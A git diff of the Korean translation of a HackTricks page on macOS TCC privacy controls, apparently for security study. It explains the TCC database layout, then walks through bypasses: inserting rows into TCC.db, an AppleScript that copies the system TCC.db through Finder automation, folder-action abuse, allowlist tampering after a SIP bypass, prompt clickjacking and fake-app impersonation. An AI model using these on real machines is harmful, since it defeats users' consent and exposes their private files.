||||
|
||||
사용자는 응용 프로그램이 보호된 기능에 액세스를 요청할 때 TCC를 만납니다. 이는 사용자가 **액세스를 승인하거나 거부**할 수 있는 프롬프트를 통해 확인할 수 있습니다. 또한 TCC는 **파일을 응용 프로그램으로 끌어다 놓는** 등의 직접적인 사용자 조치를 수용하여 특정 파일에 대한 액세스를 부여함으로써 응용 프로그램이 명시적으로 허용된 것만 액세스할 수 있도록 합니다.
|
||||
사용자는 애플리케이션이 보호된 기능에 액세스를 요청할 때 TCC를 만납니다. 이는 사용자가 **액세스를 승인하거나 거부**할 수 있는 프롬프트를 통해 확인할 수 있습니다. 또한 TCC는 **파일을 애플리케이션으로 끌어다 놓는** 등의 직접적인 사용자 작업을 수용하여 특정 파일에 대한 액세스를 허용함으로써 애플리케이션이 명시적으로 허용된 것만 액세스하도록 보장합니다.
|
||||
|
||||
![TCC 프롬프트 예시](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||
|
||||
|
@ -44,15 +44,15 @@ ps -ef | grep tcc
|
|||
* 이 데이터베이스는 Full Disk Access와 같은 높은 TCC 권한을 가진 프로세스만 쓸 수 있습니다 (하지만 SIP로 보호되지는 않음).
|
||||
|
||||
{% hint style="warning" %}
|
||||
이전 데이터베이스는 **읽기 액세스를 위해 TCC로 보호**됩니다. 따라서 TCC 권한이 있는 프로세스가 아니면 일반 사용자 TCC 데이터베이스를 읽을 수 없습니다.
|
||||
이전 데이터베이스는 **읽기 액세스를 위해 TCC로 보호**됩니다. 따라서 TCC 권한이 있는 프로세스가 아니라면 일반 사용자 TCC 데이터베이스를 읽을 수 없습니다.
|
||||
|
||||
그러나 **FDA** 또는 **`kTCCServiceEndpointSecurityClient`**와 같은 높은 권한을 가진 프로세스는 사용자 TCC 데이터베이스를 쓸 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
* **`/var/db/locationd/clients.plist`**에 있는 **세 번째** TCC 데이터베이스는 **위치 서비스에 액세스할 수 있는 클라이언트를 나타냅니다**.
|
||||
* SIP로 보호된 **`/Users/carlospolop/Downloads/REG.db`** 파일 (TCC로 읽기 액세스도 보호됨)에는 모든 **유효한 TCC 데이터베이스의 위치**가 포함되어 있습니다.
|
||||
* SIP로 보호된 **`/Users/carlospolop/Downloads/MDMOverrides.plist`** 파일 (TCC로 읽기 액세스도 보호됨)에는 더 많은 TCC 허가 권한이 포함되어 있습니다.
|
||||
* 읽기 전용이지만 누구나 읽을 수 있는 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** 파일은 TCC 예외가 필요한 애플리케이션의 허용 목록입니다.
|
||||
* **세 번째** TCC 데이터베이스는 **`/var/db/locationd/clients.plist`**에 위치하며 위치 서비스에 액세스할 수 있는 클라이언트를 나타냅니다.
|
||||
* SIP로 보호된 파일 **`/Users/carlospolop/Downloads/REG.db`** (TCC로 읽기 액세스도 보호됨)에는 모든 **유효한 TCC 데이터베이스의 위치**가 포함되어 있습니다.
|
||||
* SIP로 보호된 파일 **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC로 읽기 액세스도 보호됨)에는 더 많은 TCC 허가 권한이 포함되어 있습니다.
|
||||
* SIP로 보호된 파일 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (누구나 읽을 수 있음)은 TCC 예외가 필요한 응용 프로그램의 허용 목록입니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
**iOS**의 TCC 데이터베이스는 **`/private/var/mobile/Library/TCC/TCC.db`**에 있습니다.
|
||||
|
@ -123,11 +123,11 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="success" %}
|
||||
두 데이터베이스를 모두 확인하면 앱이 허용한 권한, 금지한 권한 또는 허용을 요청하지 않은 권한을 확인할 수 있습니다.
|
||||
두 데이터베이스를 모두 확인하면 앱이 허용한 권한, 금지한 권한 또는 허용하지 않은 권한을 확인할 수 있습니다 (요청할 것입니다).
|
||||
{% endhint %}
|
||||
|
||||
- **`service`**는 TCC **권한** 문자열 표현입니다.
|
||||
- **`client`**는 권한을 가진 **번들 ID** 또는 **바이너리 경로**입니다.
|
||||
- **`client`**는 권한이 있는 번들 ID 또는 이진 파일의 경로입니다.
|
||||
- **`client_type`**은 번들 식별자(0)인지 아니면 절대 경로(1)인지를 나타냅니다.
|
||||
|
||||
<details>
|
||||
|
@ -175,7 +175,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
|
||||
* **`auth_value`**는 다양한 값들을 가질 수 있습니다: denied(0), unknown(1), allowed(2), 또는 limited(3).
|
||||
* **`auth_reason`**은 다음과 같은 값을 가질 수 있습니다: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* **csreq** 필드는 실행할 이진 파일을 검증하고 TCC 권한을 부여하는 방법을 나타내기 위해 존재합니다:
|
||||
* **csreq** 필드는 실행할 이진 파일을 확인하고 TCC 권한을 부여하는 방법을 나타내기 위해 존재합니다:
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -193,7 +193,7 @@ echo "X'$REQ_HEX'"
|
|||
```
|
||||
* 테이블의 **다른 필드**에 대한 자세한 정보는 [**이 블로그 포스트**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)를 확인하세요.
|
||||
|
||||
또한 `시스템 환경설정 --> 보안 및 개인 정보 --> 개인 정보 --> 파일 및 폴더`에서 앱에 대해 **이미 부여된 권한**을 확인할 수 있습니다.
|
||||
또한 `시스템 환경설정 --> 보안 및 개인 정보 보호 --> 개인 정보 --> 파일 및 폴더`에서 앱에 **이미 부여된 권한**을 확인할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
사용자는 **`tccutil`**을 사용하여 **룰을 삭제하거나 쿼리**할 수 있습니다.
|
||||
|
@ -210,6 +210,8 @@ tccutil reset All
|
|||
### TCC 서명 확인
|
||||
|
||||
TCC **데이터베이스**는 애플리케이션의 **번들 식별자**를 저장하지만, **권한을 사용하려는** 앱이 올바른지 확인하기 위해 **서명에 대한 정보**도 저장합니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# From sqlite
|
||||
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -234,7 +236,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
|
||||
그러나 앱이 `~/Desktop`, `~/Downloads`, `~/Documents`와 같은 **특정 사용자 폴더에 액세스**하려면 특정 **엔타이틀먼트가 필요하지 않습니다.** 시스템은 액세스를 투명하게 처리하고 필요할 때 **사용자에게 프롬프트를 표시**합니다.
|
||||
|
||||
애플의 앱들은 **프롬프트를 생성하지 않습니다.** 그들은 **엔타이틀먼트 목록에 사전 부여된 권한**을 포함하고 있으며, 이는 **팝업을 생성하지 않을 뿐만 아니라** 어떤 **TCC 데이터베이스에도 나타나지 않을 것**을 의미합니다. 예를 들어:
|
||||
애플의 앱들은 **프롬프트를 생성하지 않습니다.** 그들은 **엔타이틀먼트 목록에 사전 부여된 권한**을 포함하고 있으며, 이는 **팝업을 생성하지 않을 뿐만 아니라** TCC 데이터베이스 중 어디에도 나타나지 않을 것입니다. 예를 들어:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -245,13 +247,13 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
<string>kTCCServiceAddressBook</string>
|
||||
</array>
|
||||
```
|
||||
이렇게 하면 캘린더가 사용자에게 알림, 캘린더 및 주소록에 액세스할 것을 요청하지 않습니다.
|
||||
이렇게 하면 Calendar이 사용자에게 알림, 캘린더 및 주소록에 액세스할 것을 요청하지 않습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
공식 문서 외에도 [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl)에서 **권한에 관한 흥미로운 비공식 정보를 찾을 수 있습니다**.
|
||||
{% endhint %}
|
||||
|
||||
일부 TCC 권한은 다음과 같습니다: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 이들을 모두 정의하는 공개 목록은 없지만 [**알려진 목록**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)을 확인할 수 있습니다.
|
||||
일부 TCC 권한은 다음과 같습니다: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... 이들을 모두 정의하는 공개 목록은 없지만 [알려진 목록](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)을 확인할 수 있습니다.
|
||||
|
||||
### 민감한 보호되지 않은 위치
|
||||
|
||||
|
@ -261,7 +263,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
|
||||
### 사용자 의도 / com.apple.macl
|
||||
|
||||
이전에 언급한 대로 **파일을 앱에 드래그앤드롭하여 해당 앱에 대한 액세스를 허용할 수 있습니다**. 이 액세스는 TCC 데이터베이스에 명시되지 않지만 **파일의 확장 속성**으로 저장됩니다. 이 속성은 허용된 앱의 **UUID를 저장**합니다.
|
||||
이전에 언급했듯이 **파일을 앱에 드래그앤드롭하여 해당 파일에 대한 액세스를 허용할 수 있습니다**. 이 액세스는 TCC 데이터베이스에 명시되지 않지만 **파일의 확장된 속성으로 저장됩니다**. 이 속성은 허용된 앱의 **UUID를 저장**할 것입니다:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -279,16 +281,16 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
|||
{% hint style="info" %}
|
||||
**`com.apple.macl`** 속성이 **Sandbox**에 의해 관리되고 있고 tccd가 아닌 것이 신기합니다.
|
||||
|
||||
또한 컴퓨터에서 앱의 UUID를 허용하는 파일을 다른 컴퓨터로 이동하면, 동일한 앱이 다른 UID를 가지기 때문에 해당 앱에 액세스 권한이 부여되지 않습니다.
|
||||
또한 컴퓨터 내의 앱의 UUID를 허용하는 파일을 다른 컴퓨터로 이동하면, 동일한 앱이 다른 UID를 가지기 때문에 해당 앱에 액세스 권한이 부여되지 않습니다.
|
||||
{% endhint %}
|
||||
|
||||
확장 속성 `com.apple.macl`은 다른 확장 속성과 달리 **SIP에 의해 보호**되어 있어 **지울 수 없습니다**. 그러나 [**이 게시물에서 설명된 것처럼**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), 파일을 **압축**하고, **삭제**한 다음 **압축을 해제**하여 비활성화할 수 있습니다.
|
||||
확장 속성 `com.apple.macl`은 다른 확장 속성과 달리 **SIP에 의해 보호**되어 있어 **지울 수 없습니다**. 그러나 [**이 게시물에서 설명된 것처럼**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), 파일을 **압축**하고, **삭제**한 다음 **압축을 푸는** 방법으로 비활성화할 수 있습니다.
|
||||
|
||||
## TCC 권한 상승 및 우회
|
||||
|
||||
### TCC에 삽입
|
||||
|
||||
언젠가 TCC 데이터베이스에 쓰기 액세스 권한을 획들하게 되면 다음과 같은 방법을 사용하여 항목을 추가할 수 있습니다 (주석을 제거하세요):
|
||||
어느 순간 TCC 데이터베이스에 쓰기 액세스를 얻게 되면 다음과 같은 방법을 사용하여 항목을 추가할 수 있습니다 (주석을 제거하세요):
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -336,13 +338,13 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
|
||||
### TCC 페이로드
|
||||
|
||||
앱 내부에 일부 TCC 권한을 획들했다면 다음 페이지를 확인하여 해당 권한을 악용할 수 있는 TCC 페이로드를 확인하세요:
|
||||
어떤 앱 안으로 들어가 TCC 권한을 얻었다면 다음 페이지를 확인하여 TCC 페이로드를 악용해보세요:
|
||||
|
||||
{% content-ref url="macos-tcc-payloads.md" %}
|
||||
[macos-tcc-payloads.md](macos-tcc-payloads.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 자동화 (Finder)에서 FDA\*로
|
||||
### 자동화 (Finder) to FDA\*
|
||||
|
||||
자동화 권한의 TCC 이름은: **`kTCCServiceAppleEvents`**\
|
||||
이 특정 TCC 권한은 또한 TCC 데이터베이스 내에서 **관리할 수 있는 애플리케이션**을 나타냅니다 (따라서 권한은 모든 것을 관리할 수 있는 것이 아닙니다).
|
||||
|
@ -351,7 +353,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
이 경우 앱은 **`com.apple.Finder`**에 대한 **`kTCCServiceAppleEvents`** 권한이 필요합니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="사용자 TCC.db 도용" %}
|
||||
{% tab title="사용자 TCC.db 도용하기" %}
|
||||
```applescript
|
||||
# This AppleScript will copy the system TCC database into /tmp
|
||||
osascript<<EOD
|
||||
|
@ -381,17 +383,15 @@ EOD
|
|||
이를 악용하여 **자체 사용자 TCC 데이터베이스를 작성**할 수 있습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
이 권한으로 **Finder에게 TCC 제한 폴더에 액세스할 것을 요청**하고 파일을 제공할 수 있지만, afaik로 **Finder가 임의의 코드를 실행하도록 만들 수는 없습니다** FDA 액세스를 완전히 악용할 수 없습니다.
|
||||
|
||||
따라서, 전체 FDA 능력을 악용할 수 없습니다.
|
||||
이 권한으로 **Finder에게 TCC 제한 폴더에 액세스할 것을 요청**하고 파일을 제공할 수 있지만, afaik로 **Finder가 임의의 코드를 실행하도록 만들 수는 없을 것**입니다. 그래서, Finder가 완전히 FDA 액세스를 악용하는 것은 불가능할 것입니다.
|
||||
{% endhint %}
|
||||
|
||||
이것은 Finder에 대한 자동화 권한을 얻기 위한 TCC 프롬프트입니다:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Automator** 앱이 **`kTCCServiceAppleEvents`** TCC 권한을 가지고 있기 때문에 **Finder**와 같은 앱을 **제어**할 수 있습니다. 따라서 Automator를 제어할 수 있는 권한이 있다면 아래와 같은 코드로 **Finder**를 제어할 수도 있습니다:
|
||||
**Automator** 앱이 **`kTCCServiceAppleEvents`** TCC 권한을 가지고 있기 때문에 **Finder와 같은 모든 앱을 제어**할 수 있습니다. 따라서 Automator를 제어할 수 있는 권한이 있다면 아래와 같은 코드로 **Finder**를 제어할 수도 있습니다:
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
@ -422,7 +422,7 @@ EOD
|
|||
|
||||
### 자동화 (SE)에서 일부 TCC로
|
||||
|
||||
**시스템 이벤트는 폴더 작업을 생성할 수 있으며, 폴더 작업은 일부 TCC 폴더에 액세스할 수 있습니다** (바탕 화면, 문서 및 다운로드), 따라서 다음과 같은 스크립트를 사용하여 이 동작을 악용할 수 있습니다:
|
||||
**시스템 이벤트는 폴더 작업을 생성할 수 있으며, 폴더 작업은 일부 TCC 폴더에 액세스할 수 있습니다** (바탕화면, 문서 및 다운로드), 따라서 다음과 같은 스크립트를 사용하여 이 동작을 악용할 수 있습니다:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
|
@ -516,38 +516,38 @@ EOF
|
|||
```
|
||||
### `kTCCServiceAccessibility`를 FDA\*로
|
||||
|
||||
[**접근성 권한을 악용하는 payload**](macos-tcc-payloads.md#accessibility)을 확인하여 FDA\*로 권한 상승 또는 키로거 실행 등을 할 수 있습니다.
|
||||
[**접근성 권한을 남용하는 페이로드**](macos-tcc-payloads.md#accessibility)를 확인하여 FDA\*로 권한 상승 또는 키로거 실행 등을 할 수 있습니다.
|
||||
|
||||
### **Endpoint Security Client를 FDA로**
|
||||
|
||||
만약 **`kTCCServiceEndpointSecurityClient`**를 가지고 있다면, FDA를 가지고 있는 것입니다. 끝.
|
||||
**`kTCCServiceEndpointSecurityClient`**를 가지고 있다면 FDA를 가지고 있는 것입니다. 끝.
|
||||
|
||||
### 시스템 정책 SysAdmin 파일을 FDA로
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`**는 사용자의 홈 폴더를 변경하고 이로써 TCC를 우회할 수 있게 해주는 **`NFSHomeDirectory`** 속성을 변경할 수 있습니다.
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`**는 사용자의 홈 폴더를 변경하여 TCC를 우회할 수 있게 해주는 **`NFSHomeDirectory`** 속성을 **변경**할 수 있습니다.
|
||||
|
||||
### 사용자 TCC DB를 FDA로
|
||||
|
||||
사용자 TCC 데이터베이스에 **쓰기 권한**을 얻으면 **`FDA`** 권한을 부여할 수 없으며, 시스템 데이터베이스에 있는 권한만 부여할 수 있습니다.
|
||||
사용자 TCC 데이터베이스에 **쓰기 권한**을 얻으면 **`FDA`** 권한을 부여할 수 없습니다. 시스템 데이터베이스에 있는 권한만 부여할 수 있습니다.
|
||||
|
||||
하지만 **`Finder에 대한 자동화 권한`**을 부여하고 이전 기술을 악용하여 FDA\*로 상승할 수 있습니다.
|
||||
하지만 **`Finder에 대한 자동화 권한`**을 부여하고 이전 기술을 남용하여 FDA\*로 상승할 수 있습니다.
|
||||
|
||||
### **FDA에서 TCC 권한으로**
|
||||
|
||||
**전체 디스크 액세스**의 TCC 이름은 **`kTCCServiceSystemPolicyAllFiles`**입니다.
|
||||
|
||||
이것이 실제 권한 상승인지는 모르겠지만 유용할 수 있습니다: FDA를 제어하는 프로그램이 있다면 사용자 TCC 데이터베이스를 수정하고 어떤 액세스든 부여할 수 있습니다. 이것은 FDA 권한을 잃을 수도 있는 경우에 지속성 기술로 유용할 수 있습니다.
|
||||
실제 권한 상승은 아닌 것 같습니다만, 유용할 수 있습니다: FDA를 제어할 수 있다면 사용자 TCC 데이터베이스를 수정하고 어떤 액세스든 부여할 수 있습니다. FDA 권한을 잃을 수도 있기 때문에 이겢의 지속성 기술로 유용할 수 있습니다.
|
||||
|
||||
### **SIP 우회에서 TCC 우회로**
|
||||
|
||||
시스템 TCC 데이터베이스는 **SIP**에 의해 보호되므로 **지정된 엔타이틀먼트를 가진 프로세스만 수정**할 수 있습니다. 따라서, 공격자가 SIP 우회를 찾으면 파일을 수정할 수 있게 되면:
|
||||
시스템 TCC 데이터베이스는 **SIP**에 의해 보호됩니다. 따라서 **지정된 엔타이틀먼트를 가진 프로세스만 수정**할 수 있습니다. 따라서, 공격자가 SIP 우회를 찾으면 파일을 수정할 수 있게 되며 다음을 할 수 있습니다:
|
||||
|
||||
* TCC 데이터베이스의 보호를 **제거**하고 모든 TCC 권한을 부여할 수 있습니다. 예를 들어 다음 파일 중 하나를 악용할 수 있습니다:
|
||||
* TCC 데이터베이스의 보호를 **제거**하고 모든 TCC 권한을 부여할 수 있습니다. 예를 들어 다음 파일을 남용할 수 있습니다:
|
||||
* TCC 시스템 데이터베이스
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
그러나, 이 **SIP 우회를 TCC 우회로 악용**할 수 있는 다른 옵션이 있습니다. `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 파일은 TCC 예외를 필요로 하는 애플리케이션의 허용 목록입니다. 따라서, 공격자가 이 파일의 SIP 보호를 **제거**하고 **자신의 애플리케이션**을 추가하면 해당 애플리케이션이 TCC를 우회할 수 있습니다.\
|
||||
그러나 이 **SIP 우회를 TCC 우회로 남용**할 수 있는 다른 옵션이 있습니다. `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 파일은 TCC 예외를 필요로 하는 애플리케이션의 허용 목록입니다. 따라서, 공격자가 이 파일의 SIP 보호를 **제거**하고 **자신의 애플리케이션**을 추가하면 해당 애플리케이션이 TCC를 우회할 수 있습니다.\
|
||||
예를 들어 터미널을 추가하려면:
|
||||
```bash
|
||||
# Get needed info
|
||||
|
@ -593,14 +593,14 @@ codesign -d -r- /System/Applications/Utilities/Terminal.app
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃헙 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,8 +6,8 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
@ -28,18 +28,18 @@ ls: Desktop: Operation not permitted
|
|||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
**확장 속성 `com.apple.macl`**은 새 **파일**에 추가되어 **생성자 앱**이 해당 파일을 읽을 수 있도록 합니다.
|
||||
**확장 속성 `com.apple.macl`**은 **새 파일**에 추가되어 **생성자 앱**이 해당 파일을 읽을 수 있도록 합니다.
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
사용자가 **알아채지 못하고** TCC 프롬프트를 **수락**하도록 하기 위해 **창을 TCC 프롬프트 위에 놓을 수 있습니다**. [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**에서 PoC를 찾을 수 있습니다.**
|
||||
**TCC 프롬프트 위에 창을 놓아** 사용자가 **인지하지 못한 채로 수락**하도록 만들 수 있습니다. [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**에서 PoC를 찾을 수 있습니다.**
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
|
||||
### 임의의 이름으로 TCC 요청
|
||||
|
||||
공격자는 **`Info.plist`**에 임의의 이름(예: Finder, Google Chrome...)을 가진 앱을 만들어 일부 TCC 보호 위치에 액세스를 요청할 수 있습니다. 사용자는 정품 애플리케이션이 이 액세스를 요청하는 것으로 생각할 것입니다.\
|
||||
게다가, 정품 앱을 도크에서 제거하고 가짜 앱을 넣을 수도 있으므로 사용자가 가짜 앱을 클릭하면(동일한 아이콘을 사용할 수 있음) 정품 앱을 호출하여 TCC 권한을 요청하고 악성 코드를 실행시킬 수 있습니다. 사용자는 정품 앱이 액세스를 요청했다고 믿을 것입니다.
|
||||
공격자는 **`Info.plist`**에 임의의 이름(예: Finder, Google Chrome...)을 가진 앱을 **생성**하고 일부 TCC 보호 위치에 액세스를 요청하도록 만들 수 있습니다. 사용자는 정품 응용 프로그램이 이 액세스를 요청하는 것으로 생각할 것입니다.\
|
||||
게다가, 정품 앱을 도크에서 제거하고 가짜 앱을 넣어두는 것도 가능합니다. 사용자가 가짜 앱(동일한 아이콘을 사용할 수 있음)을 클릭하면 가짜 앱이 실제 앱을 호출하여 TCC 권한을 요청하고 악성 코드를 실행할 수 있어 사용자는 정품 앱이 액세스를 요청한 것으로 생각할 것입니다.
|
||||
|
||||
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -55,31 +55,31 @@ asd
|
|||
|
||||
![](<../../../../../.gitbook/assets/image (569).png>)
|
||||
|
||||
여기에서 **일부 악성 코드가 이 보호를 우회한 예제**를 찾을 수 있습니다:
|
||||
여기에서 일부 **악성 코드가 이 보호를 우회한 예**를 찾을 수 있습니다:
|
||||
|
||||
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
|
||||
|
||||
{% hint style="danger" %}
|
||||
이제 SSH를 활성화하려면 **전체 디스크 액세스**가 필요합니다.
|
||||
지금은 SSH를 활성화하려면 **전체 디스크 액세스**가 필요합니다.
|
||||
{% endhint %}
|
||||
|
||||
### 확장자 처리 - CVE-2022-26767
|
||||
|
||||
파일에는 **특정 애플리케이션이 읽을 수 있는 권한을 부여하기 위해** 속성 **`com.apple.macl`**이 부여됩니다. 이 속성은 파일을 앱 위로 끌어다 놓거나 사용자가 파일을 열 때 기본 애플리케이션으로 열 때 설정됩니다.
|
||||
파일에는 **특정 응용 프로그램이 읽을 수 있는 권한을 부여하기 위해** **`com.apple.macl`** 속성이 부여됩니다. 이 속성은 파일을 앱 위로 끌어다 놓거나 사용자가 파일을 **더블 클릭**하여 기본 앱으로 열 때 설정됩니다.
|
||||
|
||||
따라서 사용자는 모든 확장자를 처리할 악성 앱을 등록하고 Launch Services를 호출하여 모든 파일을 **열 수 있습니다**(따라서 악성 파일이 읽을 수 있는 권한이 부여됩니다).
|
||||
따라서 사용자는 모든 확장자를 처리할 수 있는 악성 앱을 등록하고 Launch Services를 호출하여 모든 파일을 **열 수 있습니다(따라서 악성 파일이 읽을 수 있는 권한이 부여됩니다).**
|
||||
|
||||
### iCloud
|
||||
|
||||
**`com.apple.private.icloud-account-access`** 권한을 통해 **`com.apple.iCloudHelper`** XPC 서비스와 통신할 수 있습니다. 이 서비스는 **iCloud 토큰을 제공**할 수 있습니다.
|
||||
**`com.apple.private.icloud-account-access`** 권한을 통해 **`com.apple.iCloudHelper`** XPC 서비스와 통신할 수 있으며 이를 통해 **iCloud 토큰을 제공**할 수 있습니다.
|
||||
|
||||
**iMovie** 및 **Garageband**에는 이 권한과 다른 권한이 부여되어 있습니다.
|
||||
|
||||
해당 권한으로부터 iCloud 토큰을 얻는 exploit에 대한 자세한 **정보**는 다음 토크를 확인하십시오: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
해당 권한으로부터 iCloud 토큰을 얻는 **악용에 대한 정보**를 얻으려면 다음 토크를 확인하십시오: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / 자동화
|
||||
|
||||
**`kTCCServiceAppleEvents`** 권한이 있는 앱은 **다른 앱을 제어**할 수 있습니다. 이는 다른 앱에 부여된 권한을 **남용**할 수 있음을 의미합니다.
|
||||
